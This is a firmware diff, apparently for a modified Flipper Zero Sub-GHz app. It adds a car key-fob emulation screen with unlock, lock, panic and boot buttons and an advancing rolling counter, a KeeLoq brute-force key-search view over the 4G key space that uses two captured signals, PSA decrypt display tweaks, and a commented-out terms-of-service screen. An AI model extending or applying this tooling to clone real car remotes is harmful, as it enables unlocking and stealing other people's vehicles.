subghz_view_psa_decrypt_get_view(subghz->subghz_psa_decrypt));
subghz->subghz_keeloq_decrypt = subghz_view_keeloq_decrypt_alloc();
view_dispatcher_add_view(
subghz->view_dispatcher,
SubGhzViewIdKeeloqDecrypt,
subghz_view_keeloq_decrypt_get_view(subghz->subghz_keeloq_decrypt));
subghz->car_emulate_view = subghz_car_emulate_view_alloc();
view_dispatcher_add_view(
subghz->view_dispatcher,
SubGhzViewIdCarEmulate,
subghz_car_emulate_view_get_view(subghz->car_emulate_view));
//init threshold rssi
subghz->threshold_rssi = subghz_threshold_rssi_alloc();
@@ -306,6 +323,14 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) {
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdPsaDecrypt);
subghz_view_psa_decrypt_free(subghz->subghz_psa_decrypt);
// KeeLoq Decrypt
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdKeeloqDecrypt);
subghz_view_keeloq_decrypt_free(subghz->subghz_keeloq_decrypt);
// Custom car-emulate view
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdCarEmulate);
subghz_car_emulate_view_free(subghz->car_emulate_view);
// Read RAW
view_dispatcher_remove_view(subghz->view_dispatcher, SubGhzViewIdReadRAW);
subghz_read_raw_free(subghz->subghz_read_raw);
@@ -353,7 +378,9 @@ void subghz_free(SubGhz* subghz, bool alloc_for_tx_only) {
furi_string_free(subghz->file_path);
furi_string_free(subghz->file_path_tmp);
// KeeLoq key manager (may still be live if app exited from within the edit scene)
furi_string_free(subghz->keeloq_bf2.sig1_path);
furi_string_free(subghz->keeloq_bf2.sig2_path);
if(subghz->keeloq_keys_manager) {
subghz_keeloq_keys_free(subghz->keeloq_keys_manager);
subghz->keeloq_keys_manager = NULL;
@@ -386,6 +413,7 @@ int32_t subghz_app(void* p) {
subghz->view_dispatcher, subghz->gui, ViewDispatcherTypeFullscreen);
furi_string_set(subghz->file_path, SUBGHZ_APP_FOLDER);
if(subghz_txrx_is_database_loaded(subghz->txrx)) {
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneStart);
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneReceiver);
} else {
scene_manager_set_scene_state(
+23 -6
View File
@@ -9,6 +9,7 @@
#include "views/subghz_frequency_analyzer.h"
#include "views/subghz_read_raw.h"
#include "views/subghz_psa_decrypt.h"
#include "views/subghz_keeloq_decrypt.h"
#include <gui/gui.h>
#include <assets_icons.h>
@@ -42,6 +43,8 @@
#include "helpers/subghz_txrx.h"
#include "helpers/subghz_keeloq_keys.h"
#include "views/subghz_car_emulate.h"
#define SUBGHZ_MAX_LEN_NAME 64
#define SUBGHZ_EXT_PRESET_NAME true
#define SUBGHZ_RAW_THRESHOLD_MIN (-90.0f)
@@ -74,6 +77,8 @@ struct SubGhz {
SubGhzFrequencyAnalyzer* subghz_frequency_analyzer;
SubGhzReadRAW* subghz_read_raw;
SubGhzViewPsaDecrypt* subghz_psa_decrypt;
SubGhzViewKeeloqDecrypt* subghz_keeloq_decrypt;
SubGhzCarEmulateView* car_emulate_view;
bool raw_send_only;
bool save_datetime_set;
@@ -102,13 +107,25 @@ struct SubGhz {
// KeeLoq key management
SubGhzKeeloqKeysManager* keeloq_keys_manager;
struct {
uint8_t key_bytes[8]; // ByteInput result
char name[65]; // TextInput result
uint16_t type; // selected learning type 1..8
bool is_new; // true = add, false = edit
size_t edit_index; // valid when is_new == false
uint8_t edit_step; // 0 = key, 1 = name, 2 = type
uint8_t key_bytes[8];
char name[65];
uint16_t type;
bool is_new;
size_t edit_index;
uint8_t edit_step;
} keeloq_edit;
struct {
uint32_t fix;
uint32_t hop1;
uint32_t hop2;
uint32_t serial;
bool sig1_loaded;
bool sig2_loaded;
FuriString* sig1_path;
FuriString* sig2_path;
uint8_t learn_type;
} keeloq_bf2;
};
void subghz_blink_start(SubGhz* subghz);
@@ -22,6 +22,8 @@
#define SUBGHZ_LAST_SETTING_FIELD_HOPPING_THRESHOLD "HoppingThreshold"
#define SUBGHZ_LAST_SETTING_FIELD_LED_AND_POWER_AMP "LedAndPowerAmp"
#define SUBGHZ_LAST_SETTING_FIELD_TX_POWER "TXPower"
#define SUBGHZ_LAST_SETTING_FIELD_CUSTOM_CAR_EMULATE "CustomCarEmulate"
#define SUBGHZ_LAST_SETTING_FIELD_PROTOCOL_FILTER "ProtocolFilter"
SubGhzLastSettings* subghz_last_settings_alloc(void) {
SubGhzLastSettings* instance = malloc(sizeof(SubGhzLastSettings));
@@ -50,6 +52,7 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count
instance->enable_preset_hopping = false;
instance->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
instance->leds_and_amp = true;
instance->protocol_filter[0] = '\0';
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* fff_data_file = flipper_format_file_alloc(storage);
@@ -163,6 +166,27 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count
1)) {
flipper_format_rewind(fff_data_file);
}
if(!flipper_format_read_bool(
fff_data_file,
SUBGHZ_LAST_SETTING_FIELD_CUSTOM_CAR_EMULATE,
&instance->custom_car_emulate,
1)) {
instance->custom_car_emulate = false;
flipper_format_rewind(fff_data_file);
}
FuriString* filter_str = furi_string_alloc();
if(flipper_format_read_string(
fff_data_file, SUBGHZ_LAST_SETTING_FIELD_PROTOCOL_FILTER, filter_str)) {
strncpy(
instance->protocol_filter,
furi_string_get_cstr(filter_str),
sizeof(instance->protocol_filter) - 1);
instance->protocol_filter[sizeof(instance->protocol_filter) - 1] = '\0';
} else {
instance->protocol_filter[0] = '\0';
flipper_format_rewind(fff_data_file);
}
furi_string_free(filter_str);
} while(0);
} else {
@@ -281,6 +305,19 @@ bool subghz_last_settings_save(SubGhzLastSettings* instance) {
file, SUBGHZ_LAST_SETTING_FIELD_LED_AND_POWER_AMP, &instance->leds_and_amp, 1)) {
break;
}
if(!flipper_format_write_bool(
file,
SUBGHZ_LAST_SETTING_FIELD_CUSTOM_CAR_EMULATE,
&instance->custom_car_emulate,
1)) {
break;
}
if(!flipper_format_write_string_cstr(
file,
SUBGHZ_LAST_SETTING_FIELD_PROTOCOL_FILTER,
instance->protocol_filter)) {
break;
}
saved = true;
} while(0);
@@ -30,6 +30,8 @@ typedef struct {
float preset_hopping_threshold;
bool leds_and_amp;
uint8_t tx_power;
bool custom_car_emulate;
char protocol_filter[256]; /* comma-separated allowlist, empty = disabled */
} SubGhzLastSettings;
SubGhzLastSettings* subghz_last_settings_alloc(void);
@@ -0,0 +1,264 @@
#include "subghz_car_emulate.h"
#include "../helpers/subghz_custom_event.h"
#include <gui/elements.h>
#include <input/input.h>
#include <furi.h>
#define TAG "SubGhzCarEmulateView"
/* ── Model ──────────────────────────────────────────────────────────────── */
typedef struct {
char protocol_name[32];
uint32_t serial;
uint32_t counter;
uint32_t original_counter;
uint32_t freq;
char preset[12];
bool is_transmitting;
uint8_t anim_frame;
char label_ok[12];
char label_up[12];
char label_down[12];
char label_left[12];
char label_right[12];
} SubGhzCarEmulateViewModel;
/* ── Handle ─────────────────────────────────────────────────────────────── */
struct SubGhzCarEmulateView {
View* view;
SubGhzCarEmulateViewCallback callback;
void* context;
};
/* ── Draw ───────────────────────────────────────────────────────────────── */
static void subghz_car_emulate_view_draw(Canvas* canvas, void* model_ptr) {
SubGhzCarEmulateViewModel* m = model_ptr;
m->anim_frame = (m->anim_frame + 1) % 8;
canvas_clear(canvas);
/* Header bar */
canvas_draw_box(canvas, 0, 0, 128, 11);
canvas_invert_color(canvas);
canvas_set_font(canvas, FontSecondary);
canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, m->protocol_name);
canvas_invert_color(canvas);
/* Info row 1: serial + counter */
canvas_set_font(canvas, FontSecondary);
char buf[32];
if(m->serial <= 0xFFFFFFUL) {
snprintf(buf, sizeof(buf), "SN:%06lX", (unsigned long)(m->serial & 0xFFFFFFUL));
} else {
snprintf(buf, sizeof(buf), "SN:%08lX", (unsigned long)m->serial);
}
canvas_draw_str(canvas, 2, 20, buf);
snprintf(buf, sizeof(buf), "CNT:%04lX", (unsigned long)m->counter);
canvas_draw_str(canvas, 68, 20, buf);
if(m->counter > m->original_counter) {
snprintf(buf, sizeof(buf), "+%ld", (long)(m->counter - m->original_counter));
canvas_draw_str(canvas, 112, 20, buf);
}
/* Info row 2: frequency + preset */
snprintf(
buf,
sizeof(buf),
"F:%lu.%02lu",
(unsigned long)(m->freq / 1000000UL),
(unsigned long)((m->freq % 1000000UL) / 10000UL));
canvas_draw_str(canvas, 2, 30, buf);
canvas_draw_str(canvas, 95, 30, m->preset);
/* ── Button labels ── */
const uint8_t font_h = canvas_current_font_height(canvas);
/* Centre → UNLOCK (OK button) */
{
const char* lbl = m->label_ok;
uint8_t w = (uint8_t)(canvas_string_width(canvas, lbl) + 8U);
canvas_draw_rbox(canvas, 64 - w / 2, 45 - font_h / 2, w, font_h, 3);
canvas_invert_color(canvas);
canvas_draw_str_aligned(canvas, 64, 49, AlignCenter, AlignBottom, lbl);
canvas_invert_color(canvas);
}
/* Up → LOCK */
{
const char* lbl = m->label_up;
uint8_t w = (uint8_t)(canvas_string_width(canvas, lbl) + 8U);
canvas_draw_rbox(canvas, 64 - w / 2, 33 - font_h / 2, w, font_h, 3);
canvas_invert_color(canvas);
canvas_draw_str_aligned(canvas, 64, 37, AlignCenter, AlignBottom, lbl);
canvas_invert_color(canvas);
}
/* Left → PANIC */
{
const char* lbl = m->label_left;
uint8_t w = (uint8_t)(canvas_string_width(canvas, lbl) + 8U);
canvas_draw_rbox(canvas, 0, 46 - font_h / 2, w, font_h, 3);
canvas_invert_color(canvas);
canvas_draw_str_aligned(canvas, w / 2, 50, AlignCenter, AlignBottom, lbl);
canvas_invert_color(canvas);
}
/* Right → generic extra */
{
const char* lbl = m->label_right;
uint8_t w = (uint8_t)(canvas_string_width(canvas, lbl) + 8U);
canvas_draw_rbox(canvas, 127 - w, 46 - font_h / 2, w, font_h, 3);
canvas_invert_color(canvas);
canvas_draw_str_aligned(canvas, 127 - w / 2, 50, AlignCenter, AlignBottom, lbl);
canvas_invert_color(canvas);
}
/* Down → BOOT */
{
const char* lbl = m->label_down;
uint8_t w = (uint8_t)(canvas_string_width(canvas, lbl) + 8U);
canvas_draw_rbox(canvas, 64 - w / 2, 57 - font_h / 2, w, font_h, 3);
canvas_invert_color(canvas);
canvas_draw_str_aligned(canvas, 64, 61, AlignCenter, AlignBottom, lbl);
canvas_invert_color(canvas);
}
/* TX overlay */
if(m->is_transmitting) {
canvas_draw_rbox(canvas, 24, 18, 80, 18, 3);
canvas_invert_color(canvas);
int wave = m->anim_frame % 3;
canvas_draw_str(canvas, 28 + wave * 2, 25, ")))");
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(canvas, 64, 24, AlignCenter, AlignCenter, "TX");
canvas_invert_color(canvas);
}
}
/* ── Input ──────────────────────────────────────────────────────────────── */
static bool subghz_car_emulate_view_input(InputEvent* event, void* context) {
SubGhzCarEmulateView* instance = context;
furi_assert(instance);
if(event->type == InputTypePress) {
if(event->key == InputKeyBack) {
if(instance->callback) {
instance->callback(SubGhzCustomEventCarEmulateExit, instance->context);
}
return true;
}
/* Any directional / OK key → start TX */
if(instance->callback) {
/* Pack the raw InputKey into the upper bits of the event so the
scene can read which button was pressed.
Lower 16 bits = SubGhzCustomEventCarEmulateTransmit marker,
upper 16 bits = InputKey value. */
uint32_t ev = ((uint32_t)event->key << 16) |
(uint32_t)SubGhzCustomEventCarEmulateTransmit;
instance->callback(ev, instance->context);
}
return true;
} else if(event->type == InputTypeRelease) {
if(event->key != InputKeyBack) {
if(instance->callback) {
instance->callback(SubGhzCustomEventCarEmulateStop, instance->context);
}
return true;
}
}
return false;
}
/* ── Alloc / Free ───────────────────────────────────────────────────────── */
SubGhzCarEmulateView* subghz_car_emulate_view_alloc(void) {
SubGhzCarEmulateView* instance = malloc(sizeof(SubGhzCarEmulateView));
furi_check(instance);
instance->view = view_alloc();
instance->callback = NULL;
instance->context = NULL;
view_set_context(instance->view, instance);
view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(SubGhzCarEmulateViewModel));
view_set_draw_callback(instance->view, subghz_car_emulate_view_draw);
view_set_input_callback(instance->view, subghz_car_emulate_view_input);
return instance;
}
void subghz_car_emulate_view_free(SubGhzCarEmulateView* instance) {
furi_check(instance);
view_free(instance->view);
free(instance);
}
View* subghz_car_emulate_view_get_view(SubGhzCarEmulateView* instance) {
furi_check(instance);
return instance->view;
}
void subghz_car_emulate_view_set_callback(
SubGhzCarEmulateView* instance,
SubGhzCarEmulateViewCallback callback,
void* context) {
furi_check(instance);
instance->callback = callback;
instance->context = context;
}
void subghz_car_emulate_view_set_data(
SubGhzCarEmulateView* instance,
const char* protocol_name,
uint32_t serial,
uint32_t counter,
uint32_t original_counter,
uint32_t freq,
const char* preset,
bool is_transmitting) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzCarEmulateViewModel * m,
{
strncpy(m->protocol_name, protocol_name, sizeof(m->protocol_name) - 1);
m->protocol_name[sizeof(m->protocol_name) - 1] = '\0';
m->serial = serial;
m->counter = counter;
m->original_counter = original_counter;
m->freq = freq;
strncpy(m->preset, preset, sizeof(m->preset) - 1);
m->preset[sizeof(m->preset) - 1] = '\0';
m->is_transmitting = is_transmitting;
},
true);
}
void subghz_car_emulate_view_set_labels(
SubGhzCarEmulateView* instance,
const char* ok,
const char* up,
const char* down,
const char* left,
const char* right) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzCarEmulateViewModel * m,
{
strncpy(m->label_ok, ok ? ok : "", sizeof(m->label_ok) - 1);
strncpy(m->label_up, up ? up : "", sizeof(m->label_up) - 1);
strncpy(m->label_down, down ? down : "", sizeof(m->label_down) - 1);
strncpy(m->label_left, left ? left : "", sizeof(m->label_left) - 1);
strncpy(m->label_right, right ? right : "", sizeof(m->label_right) - 1);
},
true);
}
@@ -0,0 +1,45 @@
#pragma once
#include <gui/view.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef struct SubGhzCarEmulateView SubGhzCarEmulateView;
typedef void (*SubGhzCarEmulateViewCallback)(uint32_t event, void* context);
SubGhzCarEmulateView* subghz_car_emulate_view_alloc(void);
void subghz_car_emulate_view_free(SubGhzCarEmulateView* instance);
View* subghz_car_emulate_view_get_view(SubGhzCarEmulateView* instance);
void subghz_car_emulate_view_set_callback(
SubGhzCarEmulateView* instance,
SubGhzCarEmulateViewCallback callback,
void* context);
/** Update the fields shown on the view.
* All strings are copied internally so the caller can free them after the call.
*/
void subghz_car_emulate_view_set_labels(
SubGhzCarEmulateView* instance,
const char* ok,
const char* up,
const char* down,
const char* left,
const char* right);
void subghz_car_emulate_view_set_data(
SubGhzCarEmulateView* instance,
const char* protocol_name,
uint32_t serial,
uint32_t counter,
uint32_t original_counter,
uint32_t freq,
const char* preset,
bool is_transmitting);
#ifdef __cplusplus
}
#endif
@@ -0,0 +1,246 @@
#include "subghz_keeloq_decrypt.h"
#include <gui/elements.h>
#include <furi.h>
#define KL_TOTAL_KEYS 0x100000000ULL
struct SubGhzViewKeeloqDecrypt {
View* view;
SubGhzViewKeeloqDecryptCallback callback;
void* context;
};
typedef struct {
uint8_t progress;
uint32_t keys_tested;
uint32_t keys_per_sec;
uint32_t elapsed_sec;
uint32_t eta_sec;
bool done;
bool success;
uint32_t candidates;
FuriString* result_str;
char status_line[40];
} SubGhzKeeloqDecryptModel;
static void subghz_view_keeloq_decrypt_format_count(char* buf, size_t len, uint32_t count) {
if(count >= 1000000) {
snprintf(buf, len, "%lu.%luM", count / 1000000, (count % 1000000) / 100000);
} else if(count >= 1000) {
snprintf(buf, len, "%luK", count / 1000);
} else {
snprintf(buf, len, "%lu", count);
}
}
static void subghz_view_keeloq_decrypt_draw(Canvas* canvas, void* _model) {
SubGhzKeeloqDecryptModel* model = (SubGhzKeeloqDecryptModel*)_model;
canvas_clear(canvas);
if(!model->done) {
canvas_set_font(canvas, FontPrimary);
if(model->status_line[0]) {
canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, model->status_line);
} else {
canvas_draw_str_aligned(canvas, 64, 2, AlignCenter, AlignTop, "KeeLoq BF");
}
canvas_draw_rframe(canvas, 3, 15, 122, 12, 2);
uint8_t fill = (uint8_t)((uint16_t)model->progress * 116 / 100);
if(fill > 0) {
canvas_draw_rbox(canvas, 5, 17, fill, 8, 1);
}
canvas_set_font(canvas, FontSecondary);
char keys_str[32];
char tested_buf[12];
subghz_view_keeloq_decrypt_format_count(tested_buf, sizeof(tested_buf), model->keys_tested);
snprintf(keys_str, sizeof(keys_str), "%d%% - %s / 4G keys", model->progress, tested_buf);
canvas_draw_str(canvas, 2, 38, keys_str);
char speed_str[40];
char speed_buf[12];
subghz_view_keeloq_decrypt_format_count(speed_buf, sizeof(speed_buf), model->keys_per_sec);
uint32_t eta_m = model->eta_sec / 60;
uint32_t eta_s = model->eta_sec % 60;
if(eta_m > 0) {
snprintf(speed_str, sizeof(speed_str), "%s keys/sec ETA %lum %lus", speed_buf, eta_m, eta_s);
} else {
snprintf(speed_str, sizeof(speed_str), "%s keys/sec ETA %lus", speed_buf, eta_s);
}
canvas_draw_str(canvas, 2, 48, speed_str);
if(model->candidates > 0) {
char cand_str[32];
snprintf(cand_str, sizeof(cand_str), "Candidates: %lu", model->candidates);
canvas_draw_str(canvas, 2, 58, cand_str);
} else {
char elapsed_str[24];
uint32_t el_m = model->elapsed_sec / 60;
uint32_t el_s = model->elapsed_sec % 60;
if(el_m > 0) {
snprintf(elapsed_str, sizeof(elapsed_str), "Elapsed: %lum %lus", el_m, el_s);
} else {
snprintf(elapsed_str, sizeof(elapsed_str), "Elapsed: %lus", el_s);
}
canvas_draw_str(canvas, 2, 58, elapsed_str);
}
canvas_draw_str_aligned(canvas, 126, 64, AlignRight, AlignBottom, "Hold BACK");
} else {
canvas_set_font(canvas, FontSecondary);
if(model->result_str) {
elements_multiline_text_aligned(
canvas, 0, 0, AlignLeft, AlignTop, furi_string_get_cstr(model->result_str));
}
}
}
static bool subghz_view_keeloq_decrypt_input(InputEvent* event, void* context) {
SubGhzViewKeeloqDecrypt* instance = (SubGhzViewKeeloqDecrypt*)context;
if(event->key == InputKeyBack) {
if(instance->callback) {
instance->callback(SubGhzCustomEventViewTransmitterBack, instance->context);
}
return true;
}
return false;
}
SubGhzViewKeeloqDecrypt* subghz_view_keeloq_decrypt_alloc(void) {
SubGhzViewKeeloqDecrypt* instance = malloc(sizeof(SubGhzViewKeeloqDecrypt));
instance->view = view_alloc();
view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(SubGhzKeeloqDecryptModel));
view_set_context(instance->view, instance);
view_set_draw_callback(instance->view, subghz_view_keeloq_decrypt_draw);
view_set_input_callback(instance->view, subghz_view_keeloq_decrypt_input);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
model->result_str = furi_string_alloc();
model->progress = 0;
model->keys_tested = 0;
model->keys_per_sec = 0;
model->elapsed_sec = 0;
model->eta_sec = 0;
model->done = false;
model->success = false;
model->candidates = 0;
},
false);
return instance;
}
void subghz_view_keeloq_decrypt_free(SubGhzViewKeeloqDecrypt* instance) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{ furi_string_free(model->result_str); },
false);
view_free(instance->view);
free(instance);
}
View* subghz_view_keeloq_decrypt_get_view(SubGhzViewKeeloqDecrypt* instance) {
furi_check(instance);
return instance->view;
}
void subghz_view_keeloq_decrypt_set_callback(
SubGhzViewKeeloqDecrypt* instance,
SubGhzViewKeeloqDecryptCallback callback,
void* context) {
furi_check(instance);
instance->callback = callback;
instance->context = context;
}
void subghz_view_keeloq_decrypt_update_stats(
SubGhzViewKeeloqDecrypt* instance,
uint8_t progress,
uint32_t keys_tested,
uint32_t keys_per_sec,
uint32_t elapsed_sec,
uint32_t eta_sec) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
model->progress = progress;
model->keys_tested = keys_tested;
model->keys_per_sec = keys_per_sec;
model->elapsed_sec = elapsed_sec;
model->eta_sec = eta_sec;
},
true);
}
void subghz_view_keeloq_decrypt_set_result(
SubGhzViewKeeloqDecrypt* instance,
bool success,
const char* result) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
model->done = true;
model->success = success;
furi_string_set_str(model->result_str, result);
},
true);
}
void subghz_view_keeloq_decrypt_reset(SubGhzViewKeeloqDecrypt* instance) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
model->progress = 0;
model->keys_tested = 0;
model->keys_per_sec = 0;
model->elapsed_sec = 0;
model->eta_sec = 0;
model->done = false;
model->success = false;
model->candidates = 0;
furi_string_reset(model->result_str);
model->status_line[0] = '\0';
},
false);
}
void subghz_view_keeloq_decrypt_set_status(SubGhzViewKeeloqDecrypt* instance, const char* status) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{
if(status) {
strlcpy(model->status_line, status, sizeof(model->status_line));
} else {
model->status_line[0] = '\0';
}
},
true);
}
void subghz_view_keeloq_decrypt_update_candidates(
SubGhzViewKeeloqDecrypt* instance, uint32_t count) {
furi_check(instance);
with_view_model(
instance->view,
SubGhzKeeloqDecryptModel * model,
{ model->candidates = count; },
true);
}
@@ -0,0 +1,37 @@
#pragma once
#include <gui/view.h>
#include "../helpers/subghz_custom_event.h"
typedef struct SubGhzViewKeeloqDecrypt SubGhzViewKeeloqDecrypt;
typedef void (*SubGhzViewKeeloqDecryptCallback)(SubGhzCustomEvent event, void* context);
SubGhzViewKeeloqDecrypt* subghz_view_keeloq_decrypt_alloc(void);
void subghz_view_keeloq_decrypt_free(SubGhzViewKeeloqDecrypt* instance);
View* subghz_view_keeloq_decrypt_get_view(SubGhzViewKeeloqDecrypt* instance);
void subghz_view_keeloq_decrypt_set_callback(
SubGhzViewKeeloqDecrypt* instance,
SubGhzViewKeeloqDecryptCallback callback,
void* context);
void subghz_view_keeloq_decrypt_update_stats(
SubGhzViewKeeloqDecrypt* instance,
uint8_t progress,
uint32_t keys_tested,
uint32_t keys_per_sec,
uint32_t elapsed_sec,
uint32_t eta_sec);
void subghz_view_keeloq_decrypt_set_result(
SubGhzViewKeeloqDecrypt* instance,
bool success,
const char* result);
void subghz_view_keeloq_decrypt_reset(SubGhzViewKeeloqDecrypt* instance);
void subghz_view_keeloq_decrypt_set_status(SubGhzViewKeeloqDecrypt* instance, const char* status);
void subghz_view_keeloq_decrypt_update_candidates(
SubGhzViewKeeloqDecrypt* instance, uint32_t count);
@@ -50,8 +50,10 @@ static void subghz_view_psa_decrypt_draw(Canvas* canvas, void* _model) {
// Progress bar outline + fill
canvas_draw_rframe(canvas, 3, 15, 122, 12, 2);
uint8_t fill = (uint8_t)((uint16_t)model->progress * 116 / 100);
if(fill > 0) {
if(fill > 2) {
canvas_draw_rbox(canvas, 5, 17, fill, 8, 1);
} else if(fill > 0) {
canvas_draw_box(canvas, 5, 17, fill, 8);
}
canvas_set_font(canvas, FontSecondary);
@@ -90,19 +92,23 @@ static void subghz_view_psa_decrypt_draw(Canvas* canvas, void* _model) {
// Cancel hint - bottom right
canvas_draw_str_aligned(canvas, 126, 64, AlignRight, AlignBottom, "Hold BACK");
} else {
// Result screen
canvas_set_font(canvas, FontSecondary);
if(model->result_str) {
elements_multiline_text_aligned(
canvas, 0, 0, AlignLeft, AlignTop, furi_string_get_cstr(model->result_str));
canvas_set_font(canvas, FontPrimary);
canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Decrypted!");
if(model->result_str) {
canvas_set_font(canvas, FontSecondary);
elements_multiline_text_aligned(canvas, 64, 20, AlignCenter, AlignTop,
furi_string_get_cstr(model->result_str));
}
elements_button_center(canvas, "Ok");
}
}
static bool subghz_view_psa_decrypt_input(InputEvent* event, void* context) {
SubGhzViewPsaDecrypt* instance = (SubGhzViewPsaDecrypt*)context;
if(event->key == InputKeyBack) {
if(event->key == InputKeyBack || event->key == InputKeyOk) {
if(instance->callback) {
instance->callback(SubGhzCustomEventViewTransmitterBack, instance->context);
}
+62 -17
View File
@@ -155,23 +155,68 @@ bool subghz_view_transmitter_input(InputEvent* event, void* context) {
true);
if(can_be_sent) {
if(event->key == InputKeyOk && event->type == InputTypePress) {
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK);
with_view_model(
subghz_transmitter->view,
SubGhzViewTransmitterModel * model,
{
furi_string_reset(model->temp_button_id);
model->draw_temp_button = false;
},
true);
subghz_transmitter->callback(
SubGhzCustomEventViewTransmitterSendStart, subghz_transmitter->context);
return true;
} else if(event->key == InputKeyOk && event->type == InputTypeRelease) {
subghz_transmitter->callback(
SubGhzCustomEventViewTransmitterSendStop, subghz_transmitter->context);
return true;
// Long press d-pad: set custom btn + long flag (no send here, send happens below)
if(event->type == InputTypeLong) {
if(event->key == InputKeyUp) {
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_UP);
subghz_custom_btn_set_long(true);
} else if(event->key == InputKeyDown) {
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_DOWN);
subghz_custom_btn_set_long(true);
} else if(event->key == InputKeyLeft) {
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_LEFT);
subghz_custom_btn_set_long(true);
} else if(event->key == InputKeyRight) {
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_RIGHT);
subghz_custom_btn_set_long(true);
}
}
// OK button handling
if(event->key == InputKeyOk) {
if(event->type == InputTypePress) {
if(subghz_custom_btn_has_pages()) {
// Multi-page protocol: cycle pages, do NOT send
uint8_t max_pages = subghz_custom_btn_get_max_pages();
uint8_t next_page = (subghz_custom_btn_get_page() + 1) % max_pages;
subghz_custom_btn_set_page(next_page);
// Reset d-pad selection to OK so display shows original btn
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK);
with_view_model(
subghz_transmitter->view,
SubGhzViewTransmitterModel * model,
{
furi_string_reset(model->temp_button_id);
furi_string_printf(model->temp_button_id, "P%u", next_page + 1);
model->draw_temp_button = true;
},
true);
// Refresh display with new page mapping
subghz_transmitter->callback(
SubGhzCustomEventViewTransmitterPageChange, subghz_transmitter->context);
return true;
}
// Normal protocol: send original button
subghz_custom_btn_set(SUBGHZ_CUSTOM_BTN_OK);
with_view_model(
subghz_transmitter->view,
SubGhzViewTransmitterModel * model,
{
furi_string_reset(model->temp_button_id);
model->draw_temp_button = false;
},
true);
subghz_transmitter->callback(
SubGhzCustomEventViewTransmitterSendStart, subghz_transmitter->context);
return true;
} else if(event->type == InputTypeRelease) {
// Only stop TX if we actually started it (not a page toggle)
if(!subghz_custom_btn_has_pages()) {
subghz_transmitter->callback(
SubGhzCustomEventViewTransmitterSendStop, subghz_transmitter->context);
}
return true;
}
} // Finish "OK" key processing
if(subghz_custom_btn_is_allowed()) {
+8 -1
View File
@@ -282,6 +282,7 @@ static Desktop* desktop_alloc(void) {
desktop->pin_input_view = desktop_view_pin_input_alloc();
desktop->pin_timeout_view = desktop_view_pin_timeout_alloc();
desktop->slideshow_view = desktop_view_slideshow_alloc();
//desktop->tos_view = desktop_view_tos_alloc();
desktop->main_view_stack = view_stack_alloc();
desktop->main_view = desktop_main_alloc();
@@ -326,6 +327,10 @@ static Desktop* desktop_alloc(void) {
desktop->view_dispatcher,
DesktopViewIdSlideshow,
desktop_view_slideshow_get_view(desktop->slideshow_view));
//view_dispatcher_add_view(
//desktop->view_dispatcher,
//DesktopViewIdTos,
//desktop_view_tos_get_view(desktop->tos_view));
// Lock icon
desktop->lock_icon_viewport = view_port_alloc();
@@ -511,7 +516,9 @@ int32_t desktop_srv(void* p) {
if(storage_file_exists(desktop->storage, SLIDESHOW_FS_PATH)) {
scene_manager_next_scene(desktop->scene_manager, DesktopSceneSlideshow);
}
} //else {
//scene_manager_next_scene(desktop->scene_manager, DesktopSceneTos);
//}
if(!furi_hal_version_do_i_belong_here()) {
scene_manager_next_scene(desktop->scene_manager, DesktopSceneHwMismatch);
@@ -11,6 +11,8 @@
#include "views/desktop_view_lock_menu.h"
#include "views/desktop_view_debug.h"
#include "views/desktop_view_slideshow.h"
//#include "views/desktop_view_tos.h"
#include <gui/gui.h>
#include <gui/view_stack.h>
@@ -30,6 +30,7 @@ bool desktop_scene_slideshow_on_event(void* context, SceneManagerEvent event) {
switch(event.event) {
case DesktopSlideshowCompleted:
scene_manager_previous_scene(desktop->scene_manager);
//scene_manager_search_and_switch_to_another_scene(desktop->scene_manager, DesktopSceneTos);
consumed = true;
break;
case DesktopSlideshowPoweroff:
+2 -2
View File
@@ -3,7 +3,7 @@ App(
name="System",
apptype=FlipperAppType.SETTINGS,
entry_point="system_settings_app",
requires=["gui", "locale"],
stack_size=1 * 1024,
requires=["gui", "locale", "storage"],
stack_size=2 * 1024,
order=30,
)
@@ -2,6 +2,9 @@
#include <loader/loader.h>
#include <lib/toolbox/value_index.h>
#include <locale/locale.h>
#include <flipper_format/flipper_format.h>
#include <power/power_service/power.h>
#include <applications/services/namechanger/namechanger.h>
const char* const log_level_text[] = {
"Default",
@@ -208,6 +211,81 @@ static void filename_scheme_changed(VariableItem* item) {
}
}
// ---- Device Name --------------------------------------------------------
#define DEVICE_NAME_ITEM_INDEX 11
static bool system_settings_device_name_validator(
const char* text,
FuriString* error,
void* context) {
UNUSED(context);
for(; *text; ++text) {
const char c = *text;
if((c < '0' || c > '9') && (c < 'A' || c > 'Z') && (c < 'a' || c > 'z')) {
